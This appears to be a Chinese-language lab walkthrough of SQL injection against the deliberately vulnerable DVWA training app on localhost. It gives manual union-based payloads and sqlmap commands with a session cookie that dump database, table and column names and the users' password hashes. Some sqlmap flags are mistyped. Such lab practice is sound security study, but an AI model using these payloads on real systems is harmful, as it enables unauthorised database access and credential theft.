Dvwa
Low
1
1’
1 and 1=1
1 and 1=2
1’ order by 2#
有2列
select First name的列名 and Surname的列名from 表名 where id的列名 =‘我们输入的id’
那么我们首先爆出它的库试试,用单引号让id闭合
内置查询函数version() user() database() @@version_compile_os
输入 1’ union select 1,database()#提交
可以看出目前使用的数据库为dvwa
爆表
1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
可以看到有两个表,我们爆一下users的列
1' union select 1,column_name from information_schema.columns
where table_name='users'#
去找列password
1’ union select user,password from users#
sqlmap (window下)
python2 sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#"
首先用sqlmap 跑这个页面 发现被重定向
于是带着cookie注入
python2 sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=22ahp2m7iq5tc9piq2rv3bib56"
这次看样子成功了,但是中间会不断需要输入y/n
我们在后面加上参数—batch sqlmap就会为我们自动填写执行了
接下来我们用–dbs获取其所有的数据库
python2 sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=22ahp2m7iq5tc9piq2rv3bib56" --batch –dbs
用-D dvwa 替–dbs
用–tables获取dvwa所有表名
python2 sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=22ahp2m7iq5tc9piq2rv3bib56" --batch --dbs -D dvwa --tables
获取到表名后 用T- users 替换–tables 用—columns获取列
python2 sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=22ahp2m7iq5tc9piq2rv3bib56" --batch --dbs -D dvwa -T user --columns
最后构造查询
1' union select user,password from users#
或者继续
python2 sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=29a6trju7d131m61l01gk6vpc3" --dump -C "user_id,user,password" -T "users" -D "dvwa"